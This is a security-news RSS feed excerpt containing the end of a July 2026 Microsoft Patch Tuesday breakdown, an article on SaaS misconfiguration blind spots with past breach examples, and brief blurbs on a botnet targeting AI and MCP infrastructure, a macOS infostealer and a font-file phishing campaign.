<li>On MSI Office 2016, apply the client updates – <a href="https://learn.microsoft.com/en-us/office/client-developer/excel/excel-home">Excel</a> (KB5002886), <a href="https://learn.microsoft.com/en-us/office/client-developer/word/word-home">Word</a> (KB5002890), PowerPoint (KB5002867), and five further Office 2016 security updates (<a href="https://support.microsoft.com/en-us/servicing/office/update/2026/5002273">KB5002273</a>, <a href="https://support.microsoft.com/en-us/servicing/office/update/2026/5002887">KB5002887</a>, <a href="https://support.microsoft.com/en-us/servicing/office/update/2026/5002748">KB5002748</a>, <a href="https://support.microsoft.com/en-us/servicing/office/update/2026/5002857">KB5002857</a>, <a href="https://support.microsoft.com/en-us/servicing/office/update/2026/5002830">KB5002830</a>) – then exercise macros, external data, embedded objects, and any line-of-business add-ins</li>



<li>On <a href="https://learn.microsoft.com/en-us/sharepoint/sharepoint-server">SharePoint Server</a>, patch 2016 (KB5002891, plus the KB5002892 language pack) and Subscription Edition (KB5002882), then check browser-based editing; the guidance lists SharePoint 2019 with a baseline but ships no 2019 package, so there is nothing to install there</li>
</ul>



<p class="wp-block-paragraph">Mind the rollback rules before you schedule the window: most client updates can be uninstalled, but the server updates cannot and always require a reboot.</p>



<h2 class="wp-block-heading">Developer tools &amp; databases</h2>



<p class="wp-block-paragraph">The developer estate gets a broad but low-drama sweep this month. Both .NET and SQL Server patch widely, but the ask is representative-application validation rather than anything exotic – install on the matching branch and confirm normal behaviour.</p>



<ul class="wp-block-list">
<li><a href="https://learn.microsoft.com/en-us/dotnet/core/sdk">.NET</a>: install the SDK updates (8.0.423, 9.0.316, 10.0.302, x64 and x86) and the Framework rollups spanning 3.5 through 4.8.1 – which reach from Windows Server 2012 up to Windows 11 26H1 and Server 2025 – then run a representative set of applications and confirm they function normally</li>



<li><a href="https://learn.microsoft.com/en-us/sql/sql-server/">SQL Server</a>: the <a href="https://learn.microsoft.com/en-us/troubleshoot/sql/releases/servicing-models-sql-server">GDR</a> updates span 2016 SP3 through 2025 – install each on its matching branch and test that each removes cleanly</li>



<li>Check an encrypted client connection through the separately patched Windows SQL client (dbnetlib.dll), which ships outside the server branches</li>
</ul>



<p class="wp-block-paragraph">The Readiness team recommends the following priorities for your larger enterprise deployments:</p>



<ul class="wp-block-list">
<li>Start with printing and graphics: half the high-risk flags sit in the Print Spooler, win32k, and GDI+, so regress shared printers, 32-bit printing, PDF export, metafiles, and window management before anything else</li>



<li>Take NTFS next – extended attributes and crash recovery both touch data integrity – and add a client File History backup-and-restore pass</li>



<li>Give Server 2025 its wider matrix – the Secure Boot/BitLocker combinations, WSL, GPU partitioning, and the scripted backup pass – and work through the stress suites</li>



<li>Run the scripted KeyGuard validation on any <a href="https://learn.microsoft.com/en-us/windows-hardware/design/device-experiences/oem-vbs">VBS</a> estate, preferably on a dedicated machine.</li>
</ul>



<p class="wp-block-paragraph">Each month, we break down the update cycle into product families (as defined by Microsoft) with the following basic groupings:</p>



<ul class="wp-block-list">
<li>Browsers (Microsoft IE and Edge)</li>



<li>Microsoft Windows (both desktop and server)</li>



<li>Microsoft Office</li>



<li>Microsoft Exchange and SQL Server</li>



<li>Microsoft Developer Tools (Visual Studio and .NET)</li>



<li>Adobe (if you get this far)</li>
</ul>



<h2 class="wp-block-heading">Browsers</h2>



<p class="wp-block-paragraph">Edge has had a busier month than usual. Microsoft addressed 46 <a href="https://learn.microsoft.com/en-us/deployedge/microsoft-edge-for-business">Microsoft Edge</a> (Chromium-based) CVEs this cycle. None critical, but heavily weighted to remote code execution (21 entries) and spoofing (13), led by <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58289">CVE-2026-58289</a>, a remote code execution flaw. A run of further RCEs (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57981">CVE-2026-57981</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56645">CVE-2026-56645</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57974">CVE-2026-57974</a>) follows.</p>



<ul class="wp-block-list">
<li>Microsoft Edge – the Edge-specific fixes ship in the Edge stable channel (version 150.0.4078.65, released 9 July). The concentration of RCE and spoofing this month is worth a look for managed Edge estates rather than a routine wave-through.</li>



<li>Chromium upstream – 427 CVEs relayed through MSRC this cycle, spanning the weekly Chrome release cadence since the June report: use-after-free, out-of-bounds read/write, type confusion, and inappropriate-implementation flaws across V8, Dawn, ANGLE, Skia, and Tint. The same fixes ship in the Chrome Stable channel; see the <a href="https://chromereleases.googleblog.com/">Chrome releases blog</a> for the upstream notes.</li>
</ul>



<p class="wp-block-paragraph">The Chromium volume looks (quite) alarming but is routine plumbing: it flows to Edge through its own auto-update channel. Add these browser (Edge) updates to your standard release schedule for your managed environments.</p>



<h2 class="wp-block-heading">Microsoft Windows</h2>



<p class="wp-block-paragraph">Windows carries the bulk of this month’s updates: 406 CVEs, 31 rated critical and 374 important. Elevation of privilege dominates by volume (226 entries), followed by remote code execution (70), information disclosure (70), denial of service (23), and a scatter of security-feature-bypass, tampering, and spoofing entries across the following feature groupings:</p>



<ul class="wp-block-list">
<li><a href="https://learn.microsoft.com/en-us/windows-server/networking/technologies/dhcp/dhcp-top">DHCP</a> – the standout network cluster: DHCP Server remote code execution (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50518">CVE-2026-50518</a>, “Exploitation More Likely,” and <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56159">CVE-2026-56159</a>), with further critical DHCP Server and DHCP Client RCEs behind them (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48564">CVE-2026-48564</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50370">CVE-2026-50370</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54128">CVE-2026-54128</a>). DHCP servers are the deployment priority.</li>



<li><a href="https://learn.microsoft.com/en-us/windows-server/virtualization/hyper-v/virtual-switch">VMSwitch</a> and <a href="https://learn.microsoft.com/en-us/windows-server/virtualization/hyper-v/hyper-v-on-windows-server">Hyper-V</a> – the Windows VMSwitch elevation of privilege (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57092">CVE-2026-57092</a>) is one of the month’s highest-severity flaws, joined by two critical Hyper-V elevation-of-privilege entries (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50680">CVE-2026-50680</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54127">CVE-2026-54127</a>), guest-to-host risk on virtualisation hosts.</li>



<li>Network stack RCE – a Windows Server Network driver RCE (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56188">CVE-2026-56188</a>, “Exploitation More Likely”), plus <a href="https://learn.microsoft.com/en-us/troubleshoot/windows-client/networking/tcpip-addressing-and-subnetting">TCP/IP</a> (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54999">CVE-2026-54999</a>), the Reliable Multicast Transport Driver (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54982">CVE-2026-54982</a>), and SSTP (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50694">CVE-2026-50694</a>).</li>



<li>Graphics – Windows <a href="https://learn.microsoft.com/en-us/windows/win32/gdiplus/-gdiplus-overview-of-gdi--about">GDI+</a> remote code execution (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50380">CVE-2026-50380</a>) and a <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/display/directx-graphics-kernel-subsystem">DirectX Graphics Kernel</a> RCE (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50382">CVE-2026-50382</a>), both reachable through document-rendering paths.</li>



<li>Windows Media – a large cluster: three critical <a href="https://learn.microsoft.com/en-us/windows/win32/medfound/microsoft-media-foundation-sdk">Media Foundation</a> RCEs (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57090">CVE-2026-57090</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57094">CVE-2026-57094</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57087">CVE-2026-57087</a>) lead 14 Windows Media and seven Media Foundation entries overall.</li>



<li>Identity infrastructure – beyond the exploited ADFS flaw, <a href="https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/get-started/virtual-dc/active-directory-domain-services-overview">Active Directory Domain Services</a> takes a critical RCE (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49164">CVE-2026-49164</a>) and <a href="https://learn.microsoft.com/en-us/windows-server/identity/ad-cs/active-directory-certificate-services-overview">Active Directory Certificate Services</a> a critical elevation of privilege (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54121">CVE-2026-54121</a>). Domain controllers take priority again.</li>



<li><a href="https://learn.microsoft.com/en-us/windows/win32/printdocs/print-spooler">Print Spooler</a>, <a href="https://learn.microsoft.com/en-us/windows-server/administration/windows-server-update-services/get-started/windows-server-update-services-wsus">WSUS</a>, and MSMQ – critical RCE/EoP in the Print Spooler (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58608">CVE-2026-58608</a>), <a href="https://learn.microsoft.com/en-us/windows-server/administration/windows-server-update-services/get-started/windows-server-update-services-wsus">Windows Server Update Services</a> (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50444">CVE-2026-50444</a>), and <a href="https://learn.microsoft.com/en-us/windows/win32/rpc/overview-of-message-queuing-services-architecture">Message Queuing</a> (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54992">CVE-2026-54992</a>, “Exploitation More Likely”), all server-role attack surface.</li>
</ul>



<p class="wp-block-paragraph">The <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/windows-kernel-mode-kernel-library">Windows Kernel</a> is the most-patched component (28 CVEs, seven “More Likely”), followed by <a href="https://learn.microsoft.com/en-us/windows-server/storage/file-server/ntfs-overview">NTFS</a> (21), Windows Runtime (17), Windows Media (14), <a href="https://learn.microsoft.com/en-us/windows-server/storage/refs/refs-overview">ReFS</a> (12), and Win32k (15 across its two entries). Add this Windows update to your Patch Now deployment schedule.</p>



<h2 class="wp-block-heading">Microsoft Office</h2>



<p class="wp-block-paragraph">Microsoft released 96 Office CVEs this month: 19 critical, 76 important. Remote code execution leads (53 entries), ahead of information disclosure (27) and spoofing (10). <a href="https://learn.microsoft.com/en-us/sharepoint/getting-started">SharePoint</a> is the centre of gravity: it touches 39 of the 96 CVEs and supplies the family’s one actively exploited flaw.</p>



<ul class="wp-block-list">
<li>SharePoint Server: has been exploited (who would have guessed) and reaches end of support today. <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56164">CVE-2026-56164</a>, an elevation of privilege, is under active exploitation. Above it sit two critical remote code execution flaws, both “Exploitation More Likely” (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50522">CVE-2026-50522</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58644">CVE-2026-58644</a>) and a critical security feature bypass (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55040">CVE-2026-55040</a>). SharePoint Server 2016 and 2019 reach end of support on 14 July, so this exploited, critical-heavy set is the final security update those on-premises farms will receive.</li>



<li>Office has experienced a long run of critical remote code execution entries across Office, Word, and PowerPoint (among them <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55033">CVE-2026-55033</a> and <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55127">CVE-2026-55127</a> in Word, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55043">CVE-2026-55043</a> in PowerPoint, and <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55018">CVE-2026-55018</a> in Office), topped by <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55045">CVE-2026-55045</a>.</li>
</ul>



<p class="wp-block-paragraph">With an exploited zero-day, two RCEs, and an end-of-support deadline all landing on SharePoint in the same cycle, SharePoint environments are the priority. Add the July Office and SharePoint updates to your Patch Now schedule.</p>



<h2 class="wp-block-heading">Microsoft Exchange and <a href="https://learn.microsoft.com/en-us/sql/sql-server/what-is-sql-server?view=sql-server-ver17">SQL Server</a></h2>



<p class="wp-block-paragraph">Both Exchange and SQL Server carry critical-rated security vulnerabilities this month. <a href="https://learn.microsoft.com/en-us/exchange/">Exchange Server</a> returns with an on-premises security update for Exchange Server Subscription Edition, the only on-premises release still supported after Exchange Server 2016 and 2019 reached end of support in October 2025; SQL Server takes two critical remote code execution flaws, one of them against SQL Server 2016, which reaches end of support on the same day.</p>



<ul class="wp-block-list">
<li>Exchange Server (on-premises) – <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55008">CVE-2026-55008</a>, a spoofing vulnerability rated critical and “Exploitation More Likely,” is the headline. Behind it, a remote code execution entry (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55005">CVE-2026-55005</a>) and two elevation-of-privilege flaws (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55006">CVE-2026-55006</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55009">CVE-2026-55009</a>) round out the on-premises set. A separate Exchange Online elevation of privilege (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54998">CVE-2026-54998</a>, critical) is fixed service-side with no customer action.</li>



<li>SQL Server – two critical remote code execution flaws: <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54117">CVE-2026-54117</a> (SQL Server 2025) and <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54118">CVE-2026-54118</a> (which reaches back to SQL Server 2016 SP3), with five further important elevation-of-privilege and information-disclosure entries behind them. The 2016 exposure matters because SQL Server 2016 reaches end of support on 14 July: a critical RCE on a platform taking its final update.</li>
</ul>



<p class="wp-block-paragraph">Both belong on the Patch Now schedule this month: the Exchange on-premises update for its critical spoofing flaw, and the SQL Server update for the two critical RCEs.</p>



<h2 class="wp-block-heading">Microsoft developer tools</h2>



<p class="wp-block-paragraph">Microsoft released 24 CVEs across its developer tooling this month, all rated important. The weighting shifts from last month’s <a href="https://code.visualstudio.com/">Visual Studio Code</a> concentration toward <a href="https://learn.microsoft.com/en-us/dotnet/core/introduction">.NET</a> and <a href="https://learn.microsoft.com/en-us/aspnet/core/overview?view=aspnetcore-10.0">ASP.NET Core</a>, where a run of denial-of-service entries dominates the volume:</p>



<ul class="wp-block-list">
<li>ASP.NET Core and .NET – the two highest-severity entries are ASP.NET Core elevation-of-privilege entries (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47300">CVE-2026-47300</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47303">CVE-2026-47303</a>), ahead of a .NET security feature bypass (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50528">CVE-2026-50528</a>) and two .NET / .NET Framework remote code execution flaws (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50646">CVE-2026-50646</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50649">CVE-2026-50649</a>).</li>



<li><a href="https://learn.microsoft.com/en-us/visualstudio/get-started/visual-studio-ide?view=visualstudio">Visual Studio</a> and VS Code – a GitHub Copilot / Visual Studio Code security feature bypass (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41109">CVE-2026-41109</a>) and a second VS Code security feature bypass (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57102">CVE-2026-57102</a>) lead here, with a VS Code remote code execution entry behind them (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50520">CVE-2026-50520</a>) and a Visual Studio RCE (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47305">CVE-2026-47305</a>).</li>
</ul>



<p class="wp-block-paragraph">Add these Microsoft updates to your standard developer update release schedule.</p>



<h2 class="wp-block-heading">Adobe (and third-party updates)</h2>



<p class="wp-block-paragraph">Outside Microsoft’s own catalogue, July is quiet. Adobe issued no Acrobat or Reader security updates. So, the month belongs to Microsoft, and it is a heavy one: 722 CVEs, roughly three times a normal cycle and one of the largest on record. Worth noting that this lands in the same season Microsoft has been talking up AI-assisted vulnerability management, and the AI stack it is selling as the answer, Copilot and Azure OpenAI among them, sits in the centre of this patch cycle’s own critical-rated updates. The (AI) tooling may be getting smarter, but the patch pile is (definitely) not getting smaller. This may be the beginning of an accelerating curve of ever larger patch cycles. My feeling is that we are in the middle of the beginning of this coming patch surge.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.computerworld.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Die wichtigsten News der Kalenderwoche 29/2026: KI, Visual Studio und mehr - Microsoft]]></title>
<description><![CDATA[Viel Spaß beim Stöbern! Microsoft Azure. Offiziell verfügbar: SQL-Migration auf SQL Server auf Azure-Virtual-Machines in der Azure-Architektur (engl.) ...]]></description>
<link>https://tsecurity.de/de/3676536/windows-server/die-wichtigsten-news-der-kalenderwoche-292026-ki-visual-studio-und-mehr-microsoft/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676536/windows-server/die-wichtigsten-news-der-kalenderwoche-292026-ki-visual-studio-und-mehr-microsoft/</guid>
<pubDate>Fri, 17 Jul 2026 17:47:22 +0200</pubDate>
<category>🪟 Windows Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Viel Spaß beim Stöbern! Microsoft Azure. Offiziell verfügbar: SQL-Migration auf SQL <b>Server</b> auf Azure-Virtual-Machines in der Azure-Architektur (engl.) ...]]></content:encoded>
</item>
<item>
<title><![CDATA[New NadMesh Botnet Uses 20+ RCE Vectors to Hijack AI and MCP Infrastructure]]></title>
<description><![CDATA[NadMesh is a new, industrial‑grade Go‑based botnet that weaponizes more than 20 RCE vectors to hijack AI and MCP infrastructure at scale, combining autonomous scanning, exploit delivery, and credential harvesting in a single closed‑loop platform. In early July 2026, researchers identified NadMesh...]]></description>
<link>https://tsecurity.de/de/3675852/it-security-nachrichten/new-nadmesh-botnet-uses-20-rce-vectors-to-hijack-ai-and-mcp-infrastructure/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675852/it-security-nachrichten/new-nadmesh-botnet-uses-20-rce-vectors-to-hijack-ai-and-mcp-infrastructure/</guid>
<pubDate>Fri, 17 Jul 2026 13:10:07 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>NadMesh is a new, industrial‑grade Go‑based botnet that weaponizes more than 20 RCE vectors to hijack AI and MCP infrastructure at scale, combining autonomous scanning, exploit delivery, and credential harvesting in a single closed‑loop platform. In early July 2026, researchers identified NadMesh as a high‑volume Go-written botnet that was aggressively deploying bot agents across internet‑facing […]</p>
<p>The post <a href="https://gbhackers.com/new-nadmesh-botnet/">New NadMesh Botnet Uses 20+ RCE Vectors to Hijack AI and MCP Infrastructure</a> appeared first on <a href="https://gbhackers.com/">GBHackers Security | #1 Globally Trusted Cyber Security News Platform</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The SaaS blind spot: Why security teams can’t get inside their own apps]]></title>
<description><![CDATA[Most organizations I work with have invested heavily in cloud security. They have endpoint detection tools, SIEM platforms, cloud security posture management, and skilled security teams running on a 24/7 shift. And yet, when I ask them a simple question — who has admin access in your Salesforce t...]]></description>
<link>https://tsecurity.de/de/3675559/it-security-nachrichten/the-saas-blind-spot-why-security-teams-cant-get-inside-their-own-apps/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675559/it-security-nachrichten/the-saas-blind-spot-why-security-teams-cant-get-inside-their-own-apps/</guid>
<pubDate>Fri, 17 Jul 2026 11:09:43 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Most organizations I work with have invested heavily in cloud security. They have endpoint detection tools, SIEM platforms, cloud security posture management, and skilled security teams running on a 24/7 shift. And yet, when I ask them a simple question — who has admin access in your Salesforce tenant right now? — The room goes quiet. Nobody knows. Not because they are negligent. Because they genuinely cannot see it.</p>



<p class="wp-block-paragraph">That is the SaaS blind spot.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Figure-1-The-Blind-Spot-and-what-SSPM-covers.png?w=1024" alt="Figure 1: The Blind Spot and what SSPM covers" class="wp-image-4197928" width="1024" height="417" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><em>Figure 1: The Blind Spot and what SSPM covers.</em></figcaption></figure><p class="imageCredit">Ashish Mishra</p></div>



<h2 class="wp-block-heading"><a></a>SaaS: Numbers speak volumes</h2>



<p class="wp-block-paragraph">I ask this question in almost every engagement: how many SaaS applications does your organization run? The answers I get range from 30 to maybe 50. The real number, once someone counts, is usually north of three hundred. <a href="https://appomni.com/press-releases/new-state-of-saas-security-report-2024/">AppOmni’s 2024 research</a> put it even higher — 49% of Microsoft 365 organizations believed they had fewer than ten apps connected to their tenant when the actual average was over a thousand.</p>



<p class="wp-block-paragraph">Here is the part that concerns me more than the count. Of all those applications, security teams have clear sight into maybe one in 10. The rest — where your customer records live, where your source code sits, where your financial reports get shared — nobody is watching. Not because the team is careless. Because the tools they have were never built to look there.</p>



<p class="wp-block-paragraph">The following incidents will discuss these realities.</p>



<h3 class="wp-block-heading"><a></a>Salesforce in 2023</h3>



<p class="wp-block-paragraph">In April 2023, <a href="https://krebsonsecurity.com/2023/04/many-public-salesforce-sites-are-leaking-private-data/">KrebsOnSecurity</a> broke the story — Salesforce Community sites were quietly leaking sensitive data belonging to government agencies, banks, and healthcare providers. No sophisticated attack technique. Just the right API endpoint and a misconfigured guest user profile. The exposed records included Social Security numbers, account details, and home addresses. Salesforce was clear in its response: this was not a platform vulnerability. Administrators had misconfigured guest access policies, and nobody had checked.</p>



<p class="wp-block-paragraph">Guest user profiles in Salesforce Communities can be granted access to data records. When administrators set those permissions too broadly — often without realizing it — unauthenticated external users can query that data straight through the API. Over 150,000 companies were potentially sitting in that window before anyone raised the alarm.</p>



<p class="wp-block-paragraph">The pattern is always the same. Configuration made under time pressure, default set slightly too permissive, nobody looks at it again. SaaS applications accumulate these quiet exposures over months and years.</p>



<h3 class="wp-block-heading"><a></a>GitHub in 2022</h3>



<p class="wp-block-paragraph">In April 2022, <a href="https://github.blog/news-insights/company-news/security-alert-stolen-oauth-user-tokens/">GitHub disclosed</a> that an attacker had used stolen OAuth tokens — issued to Heroku and Travis CI — to access and download private repository contents from dozens of organizations, including npm. GitHub’s own systems were never touched. The tokens came from third-party applications that users had authorized to connect to their accounts, and those applications had been quietly compromised.</p>



<p class="wp-block-paragraph">The entry point was not GitHub. It was not even the organizations that lost their data. It was the CI/CD tools those organizations had connected to GitHub months or years earlier — tools that had been granted broad read and write permissions that were never revisited.</p>



<p class="wp-block-paragraph">That is the OAuth problem in plain terms. The moment you authorize a third-party application; its security posture becomes your problem too. Most organizations have dozens of these connections sitting open across their SaaS platforms — and no one reviewing them.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large is-resized"> width="1024" height="496" sizes="auto, (max-width: 1024px) 100vw, 1024px"&gt;<figcaption class="wp-element-caption"><em>Figure 2: The 2022 GitHub breach chain.</em></figcaption></figure><p class="imageCredit">Ashish Mishra</p></div>



<h3 class="wp-block-heading"><a></a>Microsoft in 2023</h3>



<p class="wp-block-paragraph">The Microsoft case from 2023 is the one I bring up when people assume this only happens to careless organizations. <a href="https://www.wiz.io/blog/38-terabytes-of-private-data-accidentally-exposed-by-microsoft-ai-researchers">Wiz Research</a> found that Microsoft’s own AI team had exposed 38TB of internal data — private keys, passwords, and more than 30,000 internal Teams messages — through a single misconfigured Azure access token. The token was supposed to share one training dataset on GitHub. Instead, it opened an entire storage account to anyone who found the link.</p>



<p class="wp-block-paragraph">What gets me about this one is the timeline. That token had been sitting there since October 2021. Nearly two years, inside Microsoft, before anyone caught it. If a team with that level of resources and expertise can leave a door open for two years, the idea that “we’d notice” is not much of a security strategy. And it’s worth noting — this wasn’t a database leak. It was Teams messages. The same collaboration tools your employees use every day are just as exposed as the platforms holding structured records.</p>



<h2 class="wp-block-heading"><a></a>Why traditional security tools miss this</h2>



<p class="wp-block-paragraph">Cloud Security Posture Management tools — CSPM — are designed to monitor infrastructure configuration: virtual machines, storage buckets, network rules, and IAM policies at the infrastructure level. They do an acceptable job at that layer. What they do not do is look inside SaaS applications. <a href="https://www.cisa.gov/resources-tools/services/secure-cloud-business-applications-scuba-project">CISA’s Secure Cloud Business Applications (SCuBA) guidance</a> specifically calls out the gap between infrastructure security tools and SaaS-layer visibility as one of the most under addressed areas in enterprise cloud security.</p>



<p class="wp-block-paragraph">This is the gap SSPM was built to close. Instead of watching infrastructure, it watches the configuration of the SaaS applications themselves — permissions, sharing settings, who has access to what. And the distinction is not just academic. Infrastructure misconfigurations tend to expose systems. SaaS misconfigurations tend to expose data — directly, quietly, and often without any detectable attack activity at all.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Figure-3-The-six-core-visibility-capabilities-of-SSPM.png?w=1024" alt="Figure 3: The six core visibility capabilities of SSPM" class="wp-image-4197926" width="1024" height="567" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><em>Figure 3: The six core visibility capabilities of SSPM</em>.</figcaption></figure><p class="imageCredit">Ashish Mishra</p></div>



<h2 class="wp-block-heading"><a></a>What security teams should do now</h2>



<p class="wp-block-paragraph">You do not need to deploy a full SSPM platform tomorrow to start closing the gap. There are practical steps that move the needle immediately.</p>



<ul class="wp-block-list">
<li>Audit connected OAuth applications across your primary SaaS platforms. Revoke any integration that cannot be justified by a current business need.</li>



<li>Common source of public data exposure: Review guest and external sharing permissions in Salesforce Communities and Microsoft SharePoint.</li>



<li>Check whether legacy authentication protocols are disabled in Microsoft 365. Legacy auth bypasses MFA and becomes a potential entry point in enterprise environments.</li>



<li>Establish a quarterly access review for high-privilege accounts in SaaS applications. Most organizations run annual reviews at best — that is not frequent enough for platforms that change configuration daily.</li>



<li>A map of which SaaS applications hold sensitive data, and which have no security team ownership at all. That list will be longer than you expect.</li>
</ul>



<p class="wp-block-paragraph">The core issue is not that organizations are careless. It is that they have built security programs around the perimeter and the infrastructure, and SaaS applications grew up inside that perimeter without ever being brought into scope. The data is there. The access is there. The misconfiguration is often there too. What has been missing is the visibility to see it.</p>



<p class="wp-block-paragraph">SSPM closes that gap. But even before a formal tool is in place, simply asking the question — what can the applications we already run see and share? — is a meaningful first step. In my experience, the answer surprises almost every organization that takes the time to look.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Hackers Use Paste-and-Run Commands to Deploy ClickLock Stealer Against Mac Users]]></title>
<description><![CDATA[Hackers are actively targeting macOS users with a newly identified infostealer dubbed “ClickLock Stealer,” leveraging paste-and-run social engineering techniques to bypass Apple’s native security protections without requiring exploits or elevated privileges. Despite macOS protections such as Gate...]]></description>
<link>https://tsecurity.de/de/3675555/it-security-nachrichten/hackers-use-paste-and-run-commands-to-deploy-clicklock-stealer-against-mac-users/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675555/it-security-nachrichten/hackers-use-paste-and-run-commands-to-deploy-clicklock-stealer-against-mac-users/</guid>
<pubDate>Fri, 17 Jul 2026 11:09:38 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Hackers are actively targeting macOS users with a newly identified infostealer dubbed “ClickLock Stealer,” leveraging paste-and-run social engineering techniques to bypass Apple’s native security protections without requiring exploits or elevated privileges. Despite macOS protections such as Gatekeeper, Transparency, Consent, and Control (TCC), System Integrity Protection (SIP), and mandatory code signing, threat actors are increasingly deploying […]</p>
<p>The post <a href="https://gbhackers.com/clicklock-stealer-against-mac-users/">Hackers Use Paste-and-Run Commands to Deploy ClickLock Stealer Against Mac Users</a> appeared first on <a href="https://gbhackers.com/">GBHackers Security | #1 Globally Trusted Cyber Security News Platform</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Fake TTF files deliver stealthy malware in global phishing campaign]]></title>
<description><![CDATA[Threat actors are now abusing an ordinary font file to deliver low-detection malware capable of stealing credentials and establishing persistence on compromised Windows systems.



According to a new research from Fortinet’s FortiGuard Labs, a global phishing campaign is actively using heavily ob...]]></description>
<link>https://tsecurity.de/de/3675510/it-security-nachrichten/fake-ttf-files-deliver-stealthy-malware-in-global-phishing-campaign/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675510/it-security-nachrichten/fake-ttf-files-deliver-stealthy-malware-in-global-phishing-campaign/</guid>
<pubDate>Fri, 17 Jul 2026 10:54:29 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
